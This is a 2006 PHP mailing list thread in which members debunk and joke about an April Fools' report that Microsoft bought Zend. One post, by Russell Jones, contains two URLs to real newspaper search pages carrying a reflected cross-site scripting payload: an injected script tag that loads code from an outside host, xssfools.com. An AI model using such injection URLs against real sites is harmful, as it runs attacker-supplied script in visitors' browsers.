Re: [PHP] microsoft PHP ?

2006-04-03 Thread Ryan A
Hey,
 Just as long as everyone knows that everything I said was all in good
 fun. Next time I'll be sure to use sarcasam just to be sure nothing
 is taken the wrong way ;-)Its quite strange actually how touchy so many
people have gotten... becauseas I read the whole comeback joke I thought
it was pretty damn funny anddidnt think anyone would misunderstand it as
anything other than a joke, didnt really think there is/was a need for
sarcasm tags either, if you're on the listfor some time you see that
Chris/Rasmus and nearly everyone else has a sense ofhumour...they take the
time to help us lowly php problem thread starters dont they? Maybe its all
stress... take it easy guysCheers!

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Re: [PHP] microsoft PHP ?

2006-04-03 Thread Matt Richards
I wonder how long this is gonna go on for, its ironic that the name 
'Microsoft' seems to spread through this mailing list just like it 
spreads through peoples computers ...
humm another thing that implies the same rule is a virus ! derm derm 
drm...


Ryan A wrote:

Hey,
  

Just as long as everyone knows that everything I said was all in good
fun. Next time I'll be sure to use sarcasam just to be sure nothing
is taken the wrong way ;-)Its quite strange actually how touchy so many


people have gotten... becauseas I read the whole comeback joke I thought
it was pretty damn funny anddidnt think anyone would misunderstand it as
anything other than a joke, didnt really think there is/was a need for
sarcasm tags either, if you're on the listfor some time you see that
Chris/Rasmus and nearly everyone else has a sense ofhumour...they take the
time to help us lowly php problem thread starters dont they? Maybe its all
stress... take it easy guysCheers!

  


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Re: [PHP] microsoft PHP ?

2006-04-02 Thread Kevin Waterson
This one time, at band camp, Matt Richards [EMAIL PROTECTED] wrote:

 Zouari Fourat: lol, bet you feel silly now :)

Of course, the real give away in the original article on www.phpro.org was the
MS CEO Al Porfoli is an anagram of April Fool

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Re: [PHP] microsoft PHP ?

2006-04-02 Thread tedd

At 4:20 PM -0500 4/1/06, Joe Wollard wrote:

Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
the best thing to happen to PHP, EVAR!


You might not think that way if you had been developing in M$ 
QuickBASIC for the Mac. One day M$ just said Nope, the line isn't 
making the money we want, so we're dropping it. There were a lot of 
developers who were left hanging -- I wouldn't want to be there again.


If at all possible, I choose any alternative over what M$ provides.

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Re: [PHP] microsoft PHP ?

2006-04-02 Thread Miles Thompson

At 11:38 AM 4/2/2006, tedd wrote:


At 4:20 PM -0500 4/1/06, Joe Wollard wrote:

Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
the best thing to happen to PHP, EVAR!


You might not think that way if you had been developing in M$ QuickBASIC 
for the Mac. One day M$ just said Nope, the line isn't making the money 
we want, so we're dropping it. There were a lot of developers who were 
left hanging -- I wouldn't want to be there again.


If at all possible, I choose any alternative over what M$ provides.

tedd
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Ditto to what Tedd just wrote - a major client has a project stranded 
forever in VB6 because MSFT broke the model with VB.NET. There are 
constructs and structures which were perfectly legitimate when it was first 
conceived, when VB4 was the current version.


So - when I was asked to write a little app to maintain some subscriber 
billing info and create some reports on the desktop side, which could have 
been done in Excel, I opted for PHP, PHP-GTK and MySQL. There was a 
learning curve with PHP-GTK's layout (Glade helped a lot!!) but this will 
continue to work, Windows or Linux, and should run on later Macs.


Great feeling!

Miles 



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Re: [PHP] microsoft PHP ?

2006-04-02 Thread Zouari Fourat
the best april joke i got :)

On 4/2/06, tedd [EMAIL PROTECTED] wrote:
 At 4:20 PM -0500 4/1/06, Joe Wollard wrote:
 Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
 the best thing to happen to PHP, EVAR!

 You might not think that way if you had been developing in M$
 QuickBASIC for the Mac. One day M$ just said Nope, the line isn't
 making the money we want, so we're dropping it. There were a lot of
 developers who were left hanging -- I wouldn't want to be there again.

 If at all possible, I choose any alternative over what M$ provides.

 tedd
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Re: [PHP] microsoft PHP ?

2006-04-02 Thread tedd

At 5:00 PM +0200 4/2/06, Zouari Fourat wrote:

the best april joke i got :)


It wasn't a joke.

M$ has one thing on their mind, and that is $.

If their bottom line isn't improved by whatever they produce, then 
they drop it. If it hurts thousands of developers who supported their 
product in process, then that's to be expected -- after all it's M$


That reminds me of story about a young girl who in the middle of 
winter came across a poisonous snake laying in the snow. She picked 
up the snake and took it in doors and placed it by the fire and gave 
it warm food and drink and saved the snake's life. The snake, after 
being revived, bit her. She proclaimed Why did you do that?  I saved 
your life and now because you bit me, I'll die. The snake replied I 
don't understand your confusion, you knew I was a snake when you 
found me.


Whenever possible, I now take the fork in the road not traveled by M$.

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Re: [PHP] microsoft PHP ?

2006-04-02 Thread Chris Shiflett

Joe Wollard wrote:

I made fun of Chris and Rasmus specifically because I
know they're on this list.


I appreciate being considered important enough to make fun of.

Thanks! :-)

Chris

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Re: [PHP] microsoft PHP ?

2006-04-02 Thread Joe Wollard
Just as long as everyone knows that everything I said was all in good fun.
Next time I'll be sure to use sarcasam just to be sure nothing is taken
the wrong way ;-)

On 4/2/06, Chris Shiflett [EMAIL PROTECTED] wrote:

 Joe Wollard wrote:
  I made fun of Chris and Rasmus specifically because I
  know they're on this list.

 I appreciate being considered important enough to make fun of.

 Thanks! :-)

 Chris



Re: [PHP] microsoft PHP ?

2006-04-02 Thread Matt Richards

quote:
Joe Wollard wrote:
  Just as long as everyone knows that everything I said was all in good 
fun./sarcasam
  Next time I'll be sure to use sarcasam just to be sure nothing is 
taken the wrong way ;-)


Joe Wollard wrote:
Just as long as everyone knows that everything I said was all in good 
fun. Next time I'll be sure to use sarcasam just to be sure nothing 
is taken the wrong way ;-)


On 4/2/06, *Chris Shiflett* [EMAIL PROTECTED] 
mailto:[EMAIL PROTECTED] wrote:


Joe Wollard wrote:
 I made fun of Chris and Rasmus specifically because I
 know they're on this list.

I appreciate being considered important enough to make fun of.

Thanks! :-)

Chris




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Re: [PHP] microsoft PHP ?

2006-04-02 Thread Matt Richards

oops forgot the first sarcasam .. oh well! :(

Matt Richards wrote:

quote:
Joe Wollard wrote:
  Just as long as everyone knows that everything I said was all in 
good fun./sarcasam
  Next time I'll be sure to use sarcasam just to be sure nothing is 
taken the wrong way ;-)


Joe Wollard wrote:
Just as long as everyone knows that everything I said was all in good 
fun. Next time I'll be sure to use sarcasam just to be sure nothing 
is taken the wrong way ;-)


On 4/2/06, *Chris Shiflett* [EMAIL PROTECTED] 
mailto:[EMAIL PROTECTED] wrote:


Joe Wollard wrote:
 I made fun of Chris and Rasmus specifically because I
 know they're on this list.

I appreciate being considered important enough to make fun of.

Thanks! :-)

Chris






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Re: [PHP] microsoft PHP ?

2006-04-02 Thread Joe Wollard
el-oh-el. See, I forgot already. Good lookin' out Matt!

On 4/2/06, Matt Richards [EMAIL PROTECTED] wrote:

 oops forgot the first sarcasam .. oh well! :(

 Matt Richards wrote:
  quote:
  Joe Wollard wrote:
Just as long as everyone knows that everything I said was all in
  good fun./sarcasam
Next time I'll be sure to use sarcasam just to be sure nothing is
  taken the wrong way ;-)
 
  Joe Wollard wrote:
  Just as long as everyone knows that everything I said was all in good
  fun. Next time I'll be sure to use sarcasam just to be sure nothing
  is taken the wrong way ;-)
 
  On 4/2/06, *Chris Shiflett* [EMAIL PROTECTED]
  mailto:[EMAIL PROTECTED] wrote:
 
  Joe Wollard wrote:
   I made fun of Chris and Rasmus specifically because I
   know they're on this list.
 
  I appreciate being considered important enough to make fun of.
 
  Thanks! :-)
 
  Chris
 
 
 




Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html




On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?

 Where did you hear this? Have you considered the date? Have you
 considered how unlikely it is? Have you ever sought professional help?

 -Stut


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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Adrian
Did you even look at the calendar which date we have today?
Correct, April 1st...

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Zouari Fourat wrote:

here's the link
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html


Seriously... consider the date.

-Stut


On 4/1/06, Stut [EMAIL PROTECTED] wrote:

Zouari Fourat wrote:

I've just heard about Microsoft deal, the geant bought the Zend
platform at 113 million US$.
What will be the php future ? it's gonna switch to proprietary licence
? closed source ? or it was a Zend product deal ? (zend studio,
platform ...) not affecting the php language in itself ?
Does this mean that all efforts done in open source by thousands of
people around the world to get a web scripting language at a high
entreprise level is now bought by Micrsoft ?

Where did you hear this? Have you considered the date? Have you
considered how unlikely it is? Have you ever sought professional help?

-Stut



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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
hope that :)

On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 Zouari Fourat wrote:
  here's the link
  http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html

 Seriously... consider the date.

 -Stut

  On 4/1/06, Stut [EMAIL PROTECTED] wrote:
  Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?
  Where did you hear this? Have you considered the date? Have you
  considered how unlikely it is? Have you ever sought professional help?
 
  -Stut
 



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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
Come on, you should have played along... ;-)

Gerry

On 4/1/06, Stut [EMAIL PROTECTED] wrote:

 Zouari Fourat wrote:
  here's the link
  http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html

 Seriously... consider the date.

 -Stut

  On 4/1/06, Stut [EMAIL PROTECTED] wrote:
  Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?
  Where did you hear this? Have you considered the date? Have you
  considered how unlikely it is? Have you ever sought professional help?
 
  -Stut




Re: [PHP] microsoft PHP ?

2006-04-01 Thread Anthony Ettinger
that is f--'d up manI just started liking php5 :(

Oh well, f-- this open source garbage.


On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote:

 Come on, you should have played along... ;-)

 Gerry

 On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 
  Zouari Fourat wrote:
   here's the link
  
 http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
 
  Seriously... consider the date.
 
  -Stut
 
   On 4/1/06, Stut [EMAIL PROTECTED] wrote:
   Zouari Fourat wrote:
   I've just heard about Microsoft deal, the geant bought the Zend
   platform at 113 million US$.
   What will be the php future ? it's gonna switch to proprietary
 licence
   ? closed source ? or it was a Zend product deal ? (zend studio,
   platform ...) not affecting the php language in itself ?
   Does this mean that all efforts done in open source by thousands of
   people around the world to get a web scripting language at a high
   entreprise level is now bought by Micrsoft ?
   Where did you hear this? Have you considered the date? Have you
   considered how unlikely it is? Have you ever sought professional
 help?
  
   -Stut
 
 




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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Gerry Danen wrote:

Come on, you should have played along... ;-)


I'd had my fill by the time that arrived. It seems to me that people go 
overboard now. Slashdot used to have one a year, and it was always 
something that was vaguely possible, this year they've even changed the 
colour scheme on the site. Shame really.


-Stut


On 4/1/06, *Stut* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote:

Zouari Fourat wrote:
  here's the link
 
http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html

Seriously... consider the date.

-Stut

  On 4/1/06, Stut [EMAIL PROTECTED] mailto:[EMAIL PROTECTED]
wrote:
  Zouari Fourat wrote:
  I've just heard about Microsoft deal, the geant bought the Zend
  platform at 113 million US$.
  What will be the php future ? it's gonna switch to proprietary
licence
  ? closed source ? or it was a Zend product deal ? (zend studio,
  platform ...) not affecting the php language in itself ?
  Does this mean that all efforts done in open source by
thousands of
  people around the world to get a web scripting language at a high
  entreprise level is now bought by Micrsoft ?
  Where did you hear this? Have you considered the date? Have you
  considered how unlikely it is? Have you ever sought professional
help?
 
  -Stut



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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Zouari Fourat
:) Gerry not that funny ;)
I was affraid :o from the news

On 4/1/06, Gerry Danen [EMAIL PROTECTED] wrote:
 Come on, you should have played along... ;-)

 Gerry

 On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 
  Zouari Fourat wrote:
   here's the link
   http://phpro.org/articles/Microsoft-Purchases-Zend-for-$113-Million.html
 
  Seriously... consider the date.
 
  -Stut
 
   On 4/1/06, Stut [EMAIL PROTECTED] wrote:
   Zouari Fourat wrote:
   I've just heard about Microsoft deal, the geant bought the Zend
   platform at 113 million US$.
   What will be the php future ? it's gonna switch to proprietary licence
   ? closed source ? or it was a Zend product deal ? (zend studio,
   platform ...) not affecting the php language in itself ?
   Does this mean that all efforts done in open source by thousands of
   people around the world to get a web scripting language at a high
   entreprise level is now bought by Micrsoft ?
   Where did you hear this? Have you considered the date? Have you
   considered how unlikely it is? Have you ever sought professional help?
  
   -Stut
 
 



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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Zouari Fourat wrote:

:) Gerry not that funny ;)
I was affraid :o from the news


Rule #1 on the Internet... Never trust any news without a link to an 
official source

Rule #2 on the Internet... Never trust anything you read on April 1st

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Matt Richards

Zouari Fourat: lol, bet you feel silly now :)

Stut wrote:

Zouari Fourat wrote:

:) Gerry not that funny ;)
I was affraid :o from the news


Rule #1 on the Internet... Never trust any news without a link to an 
official source

Rule #2 on the Internet... Never trust anything you read on April 1st

-Stut



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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Joe Wollard
Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for
PHP to be what it is, he just wanted something simple and now look at it.
It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm
personally looking forward to the way they'll clean things up. Who knows,
maybe once they've got PHP under control we won't need these security
'experts' like Chris Shifflett any more because would be hackers won't be
able to see the source code, which of course means they won't be able to
find vulnerabilities. You guys just need to give up on this open source
hippie dream and let Microsoft change things for the better - who cares if
Stephen King thinks they are working in conjunction with the Crimson King
and that they might build robots that will someday take over the world and
more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks
creepy anyway.

 - and a happy April fool's to all ;-)


On 4/1/06, Matt Richards [EMAIL PROTECTED] wrote:

 Zouari Fourat: lol, bet you feel silly now :)

 Stut wrote:
  Zouari Fourat wrote:
  :) Gerry not that funny ;)
  I was affraid :o from the news
 
  Rule #1 on the Internet... Never trust any news without a link to an
  official source
  Rule #2 on the Internet... Never trust anything you read on April 1st
 
  -Stut
 

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Anthony Ettinger
nice one!

On 4/1/06, Joe Wollard [EMAIL PROTECTED] wrote:
 Leave poor Zouari alone! I for one think that Microsoft buying Zend would be
 the best thing to happen to PHP, EVAR! This Rasmus guy didn't even mean for
 PHP to be what it is, he just wanted something simple and now look at it.
 It's WAY to complex for an unorganized bunch of hobbyists to maintain. I'm
 personally looking forward to the way they'll clean things up. Who knows,
 maybe once they've got PHP under control we won't need these security
 'experts' like Chris Shifflett any more because would be hackers won't be
 able to see the source code, which of course means they won't be able to
 find vulnerabilities. You guys just need to give up on this open source
 hippie dream and let Microsoft change things for the better - who cares if
 Stephen King thinks they are working in conjunction with the Crimson King
 and that they might build robots that will someday take over the world and
 more or less 'suck the s-m-r-t' out of 50% of the worlds twins? He looks
 creepy anyway.

  - and a happy April fool's to all ;-)


 On 4/1/06, Matt Richards [EMAIL PROTECTED] wrote:
 
  Zouari Fourat: lol, bet you feel silly now :)
 
  Stut wrote:
   Zouari Fourat wrote:
   :) Gerry not that funny ;)
   I was affraid :o from the news
  
   Rule #1 on the Internet... Never trust any news without a link to an
   official source
   Rule #2 on the Internet... Never trust anything you read on April 1st
  
   -Stut
  
 
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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Joe Wollard wrote:
Leave poor Zouari alone! I for one think that Microsoft buying Zend 
would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't 
even mean for PHP to be what it is, he just wanted something simple and 
now look at it. It's WAY to complex for an unorganized bunch of 
hobbyists to maintain. I'm personally looking forward to the way they'll 
clean things up. Who knows, maybe once they've got PHP under control we 
won't need these security 'experts' like Chris Shifflett any more 
because would be hackers won't be able to see the source code, which of 
course means they won't be able to find vulnerabilities. You guys just 
need to give up on this open source hippie dream and let Microsoft 
change things for the better - who cares if Stephen King thinks they are 
working in conjunction with the Crimson King and that they might build 
robots that will someday take over the world and more or less 'suck the 
s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway.


 - and a happy April fool's to all ;-)


Here's assuming that was a joke so I won't get into the factual errors. 
I wonder how Zend and the other core developers will feel about being 
referred to as an unorganized bunch of hobbyists.


-Stut

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Russell Jones
Are you guys sure, I mean the St Louis Post Dispatch is showing it too... As
is Cincinatti.com

http://search.cincinnati.com/sp?aff=5keywords=%3Cscript%20src=http://www.xssfools.com/xss.php%3Fy%3Dh917254010%3E%3C/script%3E

http://www.stltoday.com/stltoday/search.nsf/sitesearchresults?openviewtype=1ch=Homequery=%3Cscript+src%3Dhttp%3A%2F%2Fwww.xssfools.com%2Fxss.php%3Fy%3Dh917254010%3E%3C%2Fscript%3E

On 4/1/06, Stut [EMAIL PROTECTED] wrote:

 Joe Wollard wrote:
  Leave poor Zouari alone! I for one think that Microsoft buying Zend
  would be the best thing to happen to PHP, EVAR! This Rasmus guy didn't
  even mean for PHP to be what it is, he just wanted something simple and
  now look at it. It's WAY to complex for an unorganized bunch of
  hobbyists to maintain. I'm personally looking forward to the way they'll
  clean things up. Who knows, maybe once they've got PHP under control we
  won't need these security 'experts' like Chris Shifflett any more
  because would be hackers won't be able to see the source code, which of
  course means they won't be able to find vulnerabilities. You guys just
  need to give up on this open source hippie dream and let Microsoft
  change things for the better - who cares if Stephen King thinks they are
  working in conjunction with the Crimson King and that they might build
  robots that will someday take over the world and more or less 'suck the
  s-m-r-t' out of 50% of the worlds twins? He looks creepy anyway.
 
   - and a happy April fool's to all ;-)

 Here's assuming that was a joke so I won't get into the factual errors.
 I wonder how Zend and the other core developers will feel about being
 referred to as an unorganized bunch of hobbyists.

 -Stut

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Kevin Kinsey

Stut wrote:


Joe Wollard wrote:


Leave poor Zouari alone! I for one think that Microsoft
buying Zend would be the best thing to happen to PHP, EVAR!
This Rasmus guy didn't even mean for PHP to be what it is, he
just wanted something simple and now look at it. It's WAY to
complex for an unorganized bunch of hobbyists to maintain. I'm
personally looking forward to the way they'll clean things up.
Who knows, maybe once they've got PHP under control we won't
need these security 'experts' like Chris Shifflett any more because
would be hackers won't be able to see the source code, which of
course means they won't be able to find vulnerabilities. You guys just
need to give up on this open source hippie dream and let Microsoft
change things for the better - who cares if Stephen King thinks
they are working in conjunction with the Crimson King and that
they might build robots that will someday take over the world
and more or less 'suck the s-m-r-t' out of 50% of the worlds
twins? He looks creepy anyway.

 - and a happy April fool's to all ;-)




__
 Troll, I warnest thee, BEGONE!!! 
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   /0  0  \__  ///  | \ \   
  / /  \/_///   |  \  \ 
  @_^_@'/   \/_   //|   \   \

  //_^_/ \/_ // |\\
   ( //) |\///  | \ \
 ( / /) _|_ /   )  //   |  \ _\
   ( // /) '/,_ _ _/  ( ; -.|_ _\.-~.-~~~^-.
 (( / / )) ,-{_  `-.|.-~-.   .~ `.
(( // / ))  '/\  / ~-. _ .-~  .-~^-.  \
(( /// ))  `.   {}   /  \  \
 (( / )) .~-.\\-' .~ \  `. \^-.
///...\ _ -~ `.  ^-`  ^-_
  ///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
 /.-~
 


:-D


Here's assuming that was a joke so I won't get into the factual
errors. I wonder how Zend and the other core developers will
feel about being referred to as an unorganized bunch of hobbyists.

-Stut



Well, I'm not sure about your LOCALE and cultural referents,
but from where I'm sitting I could freakin' *see* the sarcasm
tags on that one ... or maybe it's just my MUA.  ;-)

As an aside, to prevent further potential misunderstanding,
there's one on my ASCII art as well :-D

KDK

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Joe Wollard
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would be
enough. Of course I'm joking, why would I be on this list if I didn't like
open source and PHP in general? Besides, I made fun of Chris and Rasmus
specifically because I know they're on this list. They both know they
_rule_so_hard_!


On 4/1/06, Kevin Kinsey [EMAIL PROTECTED] wrote:

 Stut wrote:

  Joe Wollard wrote:
 
  Leave poor Zouari alone! I for one think that Microsoft
  buying Zend would be the best thing to happen to PHP, EVAR!
  This Rasmus guy didn't even mean for PHP to be what it is, he
  just wanted something simple and now look at it. It's WAY to
  complex for an unorganized bunch of hobbyists to maintain. I'm
  personally looking forward to the way they'll clean things up.
  Who knows, maybe once they've got PHP under control we won't
  need these security 'experts' like Chris Shifflett any more because
  would be hackers won't be able to see the source code, which of
  course means they won't be able to find vulnerabilities. You guys just
  need to give up on this open source hippie dream and let Microsoft
  change things for the better - who cares if Stephen King thinks
  they are working in conjunction with the Crimson King and that
  they might build robots that will someday take over the world
  and more or less 'suck the s-m-r-t' out of 50% of the worlds
  twins? He looks creepy anyway.
 
   - and a happy April fool's to all ;-)
 

 __
  Troll, I warnest thee, BEGONE!!! 
 --
   \/ \  //\
\|\___/|  /   \//  \\
 /0  0  \__  ///  | \ \
/ /  \/_///   |  \  \
@_^_@'/   \/_   //|   \   \
//_^_/ \/_ // |\\
 ( //) |\///  | \ \
   ( / /) _|_ /   )  //   |  \ _\
 ( // /) '/,_ _ _/  ( ; -.|_ _\.-~.-~~~^-.
   (( / / )) ,-{_  `-.|.-~-.   .~ `.
 (( // / ))  '/\  / ~-. _ .-~  .-~^-.  \
 (( /// ))  `.   {}   /  \  \
   (( / )) .~-.\\-' .~ \  `. \^-.
  ///...\ _ -~
 `.  ^-`  ^-_
///-._ _ _ _ _ _ _}^ - - - - ~ ~-- ,.-~
   /.-~


 :-D

  Here's assuming that was a joke so I won't get into the factual
  errors. I wonder how Zend and the other core developers will
  feel about being referred to as an unorganized bunch of hobbyists.
 
  -Stut


 Well, I'm not sure about your LOCALE and cultural referents,
 but from where I'm sitting I could freakin' *see* the sarcasm
 tags on that one ... or maybe it's just my MUA.  ;-)

 As an aside, to prevent further potential misunderstanding,
 there's one on my ASCII art as well :-D

 KDK

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Stut

Joe Wollard wrote:
Sheesh Stut, I thought the - and a happy April fool's to all ;-) would 
be enough. Of course I'm joking, why would I be on this list if I didn't 
like open source and PHP in general? Besides, I made fun of Chris and 
Rasmus specifically because I know they're on this list. They both know 
they _rule_so_hard_!


Blimey, I think everyone needs to get their sarcasm detectors checked. 
Thank $DEITY it's now known as yesterday!!


-Stut


On 4/1/06, *Kevin Kinsey* [EMAIL PROTECTED] mailto:[EMAIL PROTECTED] wrote:

Stut wrote:

  Joe Wollard wrote:
 
  Leave poor Zouari alone! I for one think that Microsoft
  buying Zend would be the best thing to happen to PHP, EVAR!
  This Rasmus guy didn't even mean for PHP to be what it is, he
  just wanted something simple and now look at it. It's WAY to
  complex for an unorganized bunch of hobbyists to maintain. I'm
  personally looking forward to the way they'll clean things up.
  Who knows, maybe once they've got PHP under control we won't
  need these security 'experts' like Chris Shifflett any more because
  would be hackers won't be able to see the source code, which of
  course means they won't be able to find vulnerabilities. You
guys just
  need to give up on this open source hippie dream and let Microsoft
  change things for the better - who cares if Stephen King thinks
  they are working in conjunction with the Crimson King and that
  they might build robots that will someday take over the world
  and more or less 'suck the s-m-r-t' out of 50% of the worlds
  twins? He looks creepy anyway.
 
   - and a happy April fool's to all ;-)
 

__
 Troll, I warnest thee, BEGONE!!! 
--
  \/ \  //\
   \|\___/|  /   \//  \\
/0  0  \__  ///  | \ \
   / /  \/_///   |  \  \
   @_^_@'/   \/_   //|   \   \
   //_^_/ \/_ // |\\
( //) |\///  | \ \
  ( / /) _|_ /   )  //   |  \ _\
( // /) '/,_ _ _/  ( ; -.|_ _\.-~.-~~~^-.
  (( / / )) ,-{_  `-.|.-~-.   .~ `.
(( // / ))  '/\  / ~-. _ .-~  .-~^-.  \
(( /// ))  `.   {}   /  \  \
  (( / )) .~-.\\-' .~ \  `. \^-.
 ///...\ _ -~
`.  ^-`  ^-_
   ///-._ _ _ _ _ _ _}^ - - - - ~
~-- ,.-~

  /.-~


:-D

  Here's assuming that was a joke so I won't get into the factual
  errors. I wonder how Zend and the other core developers will
  feel about being referred to as an unorganized bunch of hobbyists.
 
  -Stut


Well, I'm not sure about your LOCALE and cultural referents,
but from where I'm sitting I could freakin' *see* the sarcasm
tags on that one ... or maybe it's just my MUA.  ;-)

As an aside, to prevent further potential misunderstanding,
there's one on my ASCII art as well :-D

KDK

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
On 4/1/06, Stut [EMAIL PROTECTED] wrote:
 Gerry Danen wrote:
  Come on, you should have played along... ;-)

 I'd had my fill by the time that arrived. It seems to me that people go
 overboard now. Slashdot used to have one a year, and it was always
 something that was vaguely possible, this year they've even changed the
 colour scheme on the site. Shame really.

Stut,

I agree that some jokes are taken too far. I have just returned to
work after a heart episode but it did not send me back to the
hospital. I agree that the last thing Zend deserves is the mshaft, but
let's take the joke for what it was...

I'm in GMT -7 so I get the jokes a bit later. Sorry if I added to your grief.

Gerry

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Re: [PHP] microsoft PHP ?

2006-04-01 Thread Gerry Danen
On 4/1/06, Stut [EMAIL PROTECTED] wrote:

 Here's assuming that was a joke so I won't get into the factual errors.
 I wonder how Zend and the other core developers will feel about being
 referred to as an unorganized bunch of hobbyists.

Now that is slander we don't need. Group hug with the Zend folks, please.

G

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